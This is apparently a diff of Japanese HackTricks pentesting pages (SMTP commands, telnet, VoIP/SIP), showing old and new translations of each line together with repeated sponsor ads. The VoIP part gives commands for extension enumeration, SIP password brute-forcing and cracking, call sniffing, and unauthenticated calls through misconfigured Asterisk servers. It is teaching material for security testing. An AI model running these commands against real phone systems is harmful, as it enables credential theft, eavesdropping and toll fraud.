* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,7 +17,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -26,7 +26,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
**コマンドの出典:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/) **コマンドの出典:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
**HELO**\ **HELO**\
最初のSMTPコマンドです送信者サーバーを特定し、一般的にそのドメイン名が続きます。 最初のSMTPコマンドです送信者サーバーを識別し、一般的にそのドメイン名が続きます。
**EHLO**\ **EHLO**\
会話を開始するための代替コマンドで、サーバーが拡張SMTPプロトコルを使用していることを示します。 会話を開始するための代替コマンドで、サーバーが拡張SMTPプロトコルを使用していることを示します。
@ -41,7 +41,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
このSMTPコマンドは、添付されたメールの推定サイズバイト単位をリモートサーバーに通知します。また、サーバーが受け入れるメッセージの最大サイズを報告するためにも使用できます。 このSMTPコマンドは、添付されたメールの推定サイズバイト単位をリモートサーバーに通知します。また、サーバーが受け入れるメッセージの最大サイズを報告するためにも使用できます。
**DATA**\ **DATA**\
DATAコマンドでメールの内容の転送が始まります一般的に、サーバーから354応答コードが続き、実際の転送を開始する許可が与えられます。 DATAコマンドでメールの内容の転送が始まります一般的に、サーバーから354応答コードが続き、実際の転送を開始する許可が与えられます。
**VRFY**\ **VRFY**\
特定のメールアドレスまたはユーザー名が実際に存在するかどうかを確認するようサーバーに要求します。 特定のメールアドレスまたはユーザー名が実際に存在するかどうかを確認するようサーバーに要求します。
@ -53,7 +53,7 @@ DATAコマンドでメールの内容の転送が始まります一般的に
AUTHコマンドを使用して、クライアントはサーバーに対して自分自身を認証し、ユーザー名とパスワードを提供します。適切な転送を保証するための別のセキュリティ層です。 AUTHコマンドを使用して、クライアントはサーバーに対して自分自身を認証し、ユーザー名とパスワードを提供します。適切な転送を保証するための別のセキュリティ層です。
**RSET**\ **RSET**\
進行中のメール転送が終了することをサーバーに通知しますが、SMTP会話は終了しませんQUITの場合のように 進行中のメール転送が終了することをサーバーに通知しますが、SMTP会話は終了しませんQUITの場合のように
**EXPN**\ **EXPN**\
このSMTPコマンドは、メーリングリストの識別に関する確認を要求します。 このSMTPコマンドは、メーリングリストの識別に関する確認を要求します。
@ -62,11 +62,11 @@ AUTHコマンドを使用して、クライアントはサーバーに対して
メールの成功した転送に役立つ情報を求めるクライアントのリクエストです。 メールの成功した転送に役立つ情報を求めるクライアントのリクエストです。
**QUIT**\ **QUIT**\
SMTP会話を終了します。 SMTP会話を終了します。
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**重要な、悪用可能な脆弱性を見つけて報告し、実際のビジネスに影響を与えます。** 私たちの20以上のカスタムツールを使用して、攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -43,7 +43,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
``` ```
スクリプト `telnet-ntlm-info.nse` は NTLM 情報 (Windows バージョン) を取得します。 スクリプト `telnet-ntlm-info.nse` は NTLM 情報 (Windows バージョン) を取得します。
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) から: TELNET プロトコルには、ユーザーとサーバーが TELNET 接続のためにより複雑な (または単に異なる) 一連の規約を使用することに合意できるように、"**DO, DON'T, WILL, WON'T**" 構造を使用して承認されるさまざまな "**options**" があります。このようなオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。 [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) から: TELNET プロトコルには、ユーザーとサーバーが TELNET 接続のためにより複雑な(または単に異なる)一連の規約を使用することに合意できるようにするために、"**DO, DON'T, WILL, WON'T**" 構造で使用されるさまざまな "**options**" があります。このようなオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。
**このオプションを列挙することが可能であることは知っていますが、方法がわからないので、知っている場合は教えてください。** **このオプションを列挙することが可能であることは知っていますが、方法がわからないので、知っている場合は教えてください。**
@ -89,15 +89,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -105,7 +105,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**重要な、悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -153,7 +153,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
Red Teamが最初に行うべきステップの一つは、OSINTツール、Google検索、またはウェブページのスクレイピングを使用して、会社に連絡するための利用可能な電話番号を検索することです。 Red Teamが最初に行うべきステップの一つは、OSINTツール、Google検索、またはウェブページのスクレイピングを使用して、会社に連絡するための利用可能な電話番号を検索することです。
電話番号を取得したら、オンラインサービスを使用してオペレーターを特定できます: 電話番号がわかったら、オンラインサービスを使用してオペレーターを特定できます:
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr) * [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/) * [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
@ -198,21 +198,21 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
``` ```
### OSINT情報 ### OSINT情報
VoIPソフトウェアを特定するのに役立つ他のOSINT列挙は、Red Teamにとって役立ちます。 VoIPソフトウェアを特定するのに役立つ他のOSINT列挙は、Red Teamにとって有益です。
### ネットワーク列挙 ### ネットワーク列挙
* **`nmap`** はUDPサービスのスキャンが可能ですが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスに対してあまり正確ではない可能性があります * **`nmap`** はUDPサービスのスキャンが可能ですが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスに対してあまり正確ではないかもしれません
```bash ```bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
``` ```
* **`svmap`** from SIPVicious (`sudo apt install sipvicious`): 指定されたネットワーク内のSIPサービスを特定します。 * **`svmap`** from SIPVicious (`sudo apt install sipvicious`): 指定されたネットワーク内のSIPサービスを特定します。
* `svmap`は**簡単にブロック**できます。なぜなら、User-Agent `friendly-scanner`を使用するからですが、`/usr/share/sipvicious/sipvicious`のコードを変更することで修正できます。 * `svmap`は**簡単にブロック**できます。なぜなら、User-Agent `friendly-scanner`を使用するからですが、`/usr/share/sipvicious/sipvicious`のコードを変更して変更することができます。
```bash ```bash
# Use --fp to fingerprint the services # Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp] svmap 10.10.0.0/24 -p 5060-5070 [--fp]
``` ```
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTSスキャンは、UDP、TCP、またはTLS上のSIPサービス用の非常に高速なスキャナーです。マルチスレッドを使用しており、大規模なネットワーク範囲をスキャンできます。ポート範囲を簡単に指定し、TCPとUDPの両方をスキャンし、別のメソッドを使用しデフォルトではOPTIONSを使用、異なるUser-Agentを指定することができますその他も含む * **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTSスキャンは、UDP、TCP、またはTLS上のSIPサービス用の非常に高速なスキャナーです。マルチスレッドを使用し、大規模なネットワーク範囲をスキャンできます。ポート範囲を簡単に指定し、TCPとUDPの両方をスキャンし、別のメソッドを使用しデフォルトではOPTIONSを使用、異なるUser-Agentを指定することができますその他も含む
```bash ```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -243,7 +243,7 @@ PBXは、他のネットワークサービスも公開している可能性が
### Methods Enumeration ### Methods Enumeration
`SIPPTS enumerate`を使用してPBXで**使用可能なメソッド**を見つけることができます。[**sippts**](https://github.com/Pepelux/sippts)から PBXで使用可能な**メソッドを見つける**ことができます `SIPPTS enumerate`を使用して、[**sippts**](https://github.com/Pepelux/sippts)から
```bash ```bash
sippts enumerate -i 10.10.0.10 sippts enumerate -i 10.10.0.10
``` ```
@ -259,13 +259,13 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
``` ```
### Extension Enumeration ### Extension Enumeration
PBXプライベートブランチ交換システムにおける拡張は、**組織やビジネス内の個々の**電話回線、デバイス、またはユーザーに割り当てられた**ユニークな内部識別子**を指します。拡張は、**各ユーザーやデバイスのために個別の外部電話番号を必要とせずに、組織内で効率的に通話をルーティングする**ことを可能にします PBXプライベートブランチ交換システムにおける拡張は、**組織やビジネス内の個々の**電話回線、デバイス、またはユーザーに割り当てられた**ユニークな内部識別子**を指します。拡張により、**組織内での通話を効率的にルーティング**することが可能になり、各ユーザーやデバイスに対して個別の外部電話番号を必要としません
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`は無料のSIP PBX拡張ラインスキャナーです。概念的には、**拡張の範囲や指定された拡張のリストを推測することによって、従来のウォードライラーと同様に機能します** * **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`は無料のSIP PBX拡張ラインスキャナーです。概念的には、**拡張の範囲や指定された拡張のリストを推測することによって**、従来のウォーダイラーと同様に機能します
```bash ```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
``` ```
* **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS extenはSIPサーバー上の拡張機能を特定します。Sipextenは大規模なネットワークとポート範囲をチェックできます。 * **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS extenはSIPサーバー上の拡張を特定します。Sipextenは大規模なネットワークとポート範囲をチェックできます。
```bash ```bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200 sippts exten -i 10.10.0.10 -r 5060 -e 100-200
``` ```
@ -274,7 +274,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
``` ```
* **`enumiax` (`apt install enumiax`): enumIAX** はインターアスタリスクエクスチェンジプロトコルの **ユーザー名ブルートフォース列挙ツール** です。enumIAXは、2つの異なるモードで動作することができます。シーケンシャルユーザー名推測または辞書攻撃。 * **`enumiax` (`apt install enumiax`): enumIAX** はインターアスタリスク交換プロトコルの **ユーザー名ブルートフォース列挙ツール** です。enumIAXは、2つの異なるモードで動作することができます。シーケンシャルユーザー名推測または辞書攻撃。
```bash ```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10 enumiax -v -m3 -M3 10.10.0.10
@ -310,23 +310,23 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
ネットワーク情報の中には、機器を管理するための**ウェブ認証情報**、ユーザーの**内線番号**、**ユーザー名**、**IP**アドレス、さらには**ハッシュ化されたパスワード**や**RTPパケット**が含まれており、これを再生して**会話を聞く**ことができます。 ネットワーク情報の中には、機器を管理するための**ウェブ認証情報**、ユーザーの**内線番号**、**ユーザー名**、**IP**アドレス、さらには**ハッシュ化されたパスワード**や**RTPパケット**が含まれており、これを再生して**会話を聞く**ことができます。
この情報を取得するために、Wiresharkやtcpdumpなどのツールを使用できますが、**VoIP会話をスニッフィングするために特別に作成されたツールは** [**ucsniff**](https://github.com/Seabreg/ucsniff)です。 この情報を取得するために、Wiresharkやtcpdumpなどのツールを使用できますが、**VoIP会話をスニッフィングするために特別に作成されたツールは**[**ucsniff**](https://github.com/Seabreg/ucsniff)です。
{% hint style="danger" %} {% hint style="danger" %}
**SIP通信にTLSが使用されている場合**、SIP通信をクリアで見ることはできません。\ **SIP通信にTLSが使用されている**場合、SIP通信をクリアで見ることはできません。\
**SRTP**や**ZRTP**が使用されている場合も同様で、**RTPパケットはクリアテキストではありません**。 **SRTP**や**ZRTP**が使用されている場合も同様で、**RTPパケットはクリアテキストではありません**。
{% endhint %} {% endhint %}
#### SIP認証情報パスワードブルートフォース - オフライン) #### SIP認証情報パスワードブルートフォース - オフライン)
[この例を確認して、**SIP REGISTER通信**をよりよく理解し、**認証情報がどのように送信されるか**を学んでください。](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) [**SIP REGISTER通信**をよりよく理解するためのこの例を確認してください](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) **認証情報がどのように送信されるか**を学ぶために。
* **`sipdump`** & **`sipcrack`,** **sipcrack**の一部(`apt-get install sipcrack`これらのツールは、SIPプロトコル内の**ダイジェスト認証**を**抽出**し、**ブルートフォース**することができます。 * **`sipdump`** & **`sipcrack`,** **sipcrack**の一部(`apt-get install sipcrack`これらのツールは、SIPプロトコル内の**ダイジェスト認証**を**pcap**から**抽出**し、**ブルートフォース**することができます。
```bash ```bash
sipdump -p net-capture.pcap sip-creds.txt sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt sipcrack sip-creds.txt -w dict.txt
``` ```
* **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTSダンプは、pcapファイルからダイジェスト認証を抽出できます。 * **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dumpは、pcapファイルからダイジェスト認証を抽出できます。
```bash ```bash
sippts dump -f capture.pcap -o data.txt sippts dump -f capture.pcap -o data.txt
``` ```
@ -347,24 +347,24 @@ multimon -a DTMF -t wac pin.wav
``` ```
### 無料通話 / Asterisk接続の誤設定 ### 無料通話 / Asterisk接続の誤設定
Asteriskでは、**特定のIPアドレスからの接続**または**任意のIPアドレスからの接続**を許可することが可能です: Asteriskでは、**特定のIPアドレス**からの接続を許可することも、**任意のIPアドレス**からの接続を許可することも可能です:
``` ```
host=10.10.10.10 host=10.10.10.10
host=dynamic host=dynamic
``` ```
もしIPアドレスが指定されている場合、ホストは**REGISTER**リクエストを時々送信する必要がなくなりますREGISTERパケットには生存時間が送信され、通常は30分であり、他のシナリオでは電話は30分ごとにREGISTERする必要があります。ただし、VoIPサーバーからの接続を受け入れるためにオープンポートが必要です。 IPアドレスが指定されている場合、ホストは**REGISTER**リクエストを定期的に送信する必要がなくなりますREGISTERパケットには生存時間が含まれており、通常は30分で、他のシナリオでは電話が30分ごとにREGISTERする必要があります。ただし、VoIPサーバーからの接続を受け入れるためにオープンポートが必要です。
ユーザーを定義するには、次のように定義できます: ユーザーを定義するには、次のように定義できます:
* **`type=user`**: ユーザーとしてのみ通話を受けることができます。 * **`type=user`**: ユーザーはユーザーとしてのみ通話を受けることができます。
* **`type=friend`**: ピアとして通話を行い、ユーザーとして受けることができます(拡張機能と共に使用) * **`type=friend`**: ピアとして通話を行い、ユーザーとして受けることが可能です(拡張機能と共に使用されます
* **`type=peer`**: ピアとして通話を送受信できまSIPトランク * **`type=peer`**: ピアとして通話を送受信することが可能ですSIPトランク
不正な変数を使用して信頼を確立することも可能です: 不正な変数を使用して信頼を確立することも可能です:
* **`insecure=port`**: IPによって検証されたピア接続を許可します。 * **`insecure=port`**: IPによって検証されたピア接続を許可します。
* **`insecure=invite`**: INVITEメッセージの認証を必要としません * **`insecure=invite`**: INVITEメッセージの認証を必要としません
* **`insecure=port,invite`**: 両方 * **`insecure=port,invite`**: 両方
{% hint style="warning" %} {% hint style="warning" %}
**`type=friend`**が使用されると、**host**変数の**値**は**使用されません**。したがって、管理者がその値を使用して**SIPトランクを誤設定**すると、**誰でも接続できるようになります**。 **`type=friend`**が使用されると、**host**変数の**値**は**使用されません**。したがって、管理者がその値を使用して**SIPトランクを誤設定**すると、**誰でも接続できるようになります**。
@ -379,11 +379,11 @@ host=dynamic
Asteriskにおいて、**コンテキスト**はダイヤルプラン内の関連する拡張機能、アクション、およびルールを**グループ化する**名前付きコンテナまたはセクションです。ダイヤルプランはAsteriskシステムのコアコンポーネントであり、**着信および発信通話がどのように処理され、ルーティングされるかを定義します**。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分間の分離を提供するために使用されます。 Asteriskにおいて、**コンテキスト**はダイヤルプラン内の関連する拡張機能、アクション、およびルールを**グループ化する**名前付きコンテナまたはセクションです。ダイヤルプランはAsteriskシステムのコアコンポーネントであり、**着信および発信通話がどのように処理され、ルーティングされるかを定義します**。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分間の分離を提供するために使用されます。
各コンテキストは設定ファイル、通常は**`extensions.conf`**ファイルで定義されます。コンテキストは角括弧で示され、コンテキスト名がその中に囲まれています。例えば: 各コンテキストは設定ファイル、通常は**`extensions.conf`**ファイルで定義されます。コンテキストは角括弧で示され、その中にコンテキスト名が含まれます。例えば:
```bash ```bash
csharpCopy code[my_context] csharpCopy code[my_context]
``` ```
コンテキスト内では、拡張(ダイヤルされた番号のパターン)を定義し、それを一連のアクションまたはアプリケーションに関連付けます。これらのアクションは、通話がどのように処理されるかを決定します。例えば: コンテキスト内では、拡張機能(ダイヤルされた番号のパターン)を定義し、それを一連のアクションまたはアプリケーションに関連付けます。これらのアクションは、通話がどのように処理されるかを決定します。例えば:
```scss ```scss
[my_context] [my_context]
exten => 100,1,Answer() exten => 100,1,Answer()
@ -408,12 +408,12 @@ include => external
{% endhint %} {% endhint %}
{% hint style="danger" %} {% hint style="danger" %}
さらに、デフォルトで**`sip.conf`**ファイルには**`allowguest=true`**が含まれているため、**認証なしの**攻撃者が他の番号に電話をかけることができます。 さらに、デフォルトで**`sip.conf`**ファイルには**`allowguest=true`**が含まれているため、**認証なし**の**任意の**攻撃者が他の番号に電話をかけることができます。
{% endhint %} {% endhint %}
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS inviteは、**PBXサーバーが認証なしで通話を許可しているかどうかを確認します**。SIPサーバーに不正な設定がある場合、外部番号への通話を許可します。また、通話を第二の外部番号に転送することも可能です。 * **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS inviteは、**PBXサーバーが認証なしで通話を許可しているかどうかを確認します**。SIPサーバーに不正な設定がある場合、外部番号に電話をかけることができます。また、通話を別の外部番号に転送することも可能です。
例えば、あなたのAsteriskサーバーに不適切なコンテキスト設定がある場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても通話をかけることができます。 例えば、Asteriskサーバーに不適切なコンテキスト設定がある場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても通話をかけることができます。
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -427,14 +427,14 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
### 無料通話 / 誤設定されたIVRS ### 無料通話 / 誤設定されたIVRS
IVRSは**インタラクティブ音声応答システム**の略で、ユーザーが音声またはトーン入力を通じてコンピュータ化されたシステムと対話することを可能にする電話技術です。IVRSは、情報提供、通話のルーティング、ユーザー入力の取得など、さまざまな機能を提供する**自動通話処理**システムを構築するために使用されます。 IVRSは**インタラクティブ音声応答システム**を指し、ユーザーが音声またはトーン入力を通じてコンピュータ化されたシステムと対話することを可能にする電話技術です。IVRSは、情報提供、通話のルーティング、ユーザー入力の取得など、さまざまな機能を提供する**自動通話処理**システムを構築するために使用されます。
VoIPシステムにおけるIVRSは通常、以下で構成されています VoIPシステムにおけるIVRSは通常、以下で構成されています
1. **音声プロンプト**ユーザーをIVRメニューオプションや指示に導くための事前録音された音声メッセージ。 1. **音声プロンプト**ユーザーをIVRメニューオプションや指示に導く事前録音された音声メッセージ。
2. **DTMF**デュアルトーン多周波数信号電話のキーを押すことで生成されるトーン入力で、IVRメニューをナビゲートし、入力を提供するために使用されます。 2. **DTMF**デュアルトーン多周波数信号電話のキーを押すことで生成されるトーン入力で、IVRメニューをナビゲートし、入力を提供するために使用されます。
3. **通話ルーティング**:ユーザー入力に基づいて、特定の部門、エージェント、または内線など、適切な宛先に通話を誘導します。 3. **通話ルーティング**:ユーザー入力に基づいて、特定の部門、エージェント、または内線など、適切な宛先に通話を誘導します。
4. **ユーザー入力の取得**呼び出し者からの情報を収集します。例えば、アカウント番号、ケースID、またはその他の関連データなど。 4. **ユーザー入力の取得**呼び出し者からの情報を収集します。例えば、アカウント番号、ケースID、またはその他の関連データなどです
5. **外部システムとの統合**IVRシステムをデータベースや他のソフトウェアシステムに接続し、情報にアクセスまたは更新し、アクションを実行したり、イベントをトリガーしたりします。 5. **外部システムとの統合**IVRシステムをデータベースや他のソフトウェアシステムに接続し、情報にアクセスまたは更新し、アクションを実行したり、イベントをトリガーしたりします。
Asterisk VoIPシステムでは、ダイヤルプラン**`extensions.conf`**ファイル)と`Background()`、`Playback()`、`Read()`などのさまざまなアプリケーションを使用してIVRを作成できます。これらのアプリケーションは、音声プロンプトを再生し、ユーザー入力を取得し、通話の流れを制御するのに役立ちます。 Asterisk VoIPシステムでは、ダイヤルプラン**`extensions.conf`**ファイル)と`Background()`、`Playback()`、`Read()`などのさまざまなアプリケーションを使用してIVRを作成できます。これらのアプリケーションは、音声プロンプトを再生し、ユーザー入力を取得し、通話の流れを制御するのに役立ちます。
@ -448,7 +448,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers}) exten => 0,104,Dial(LOCAL/${numbers})
``` ```
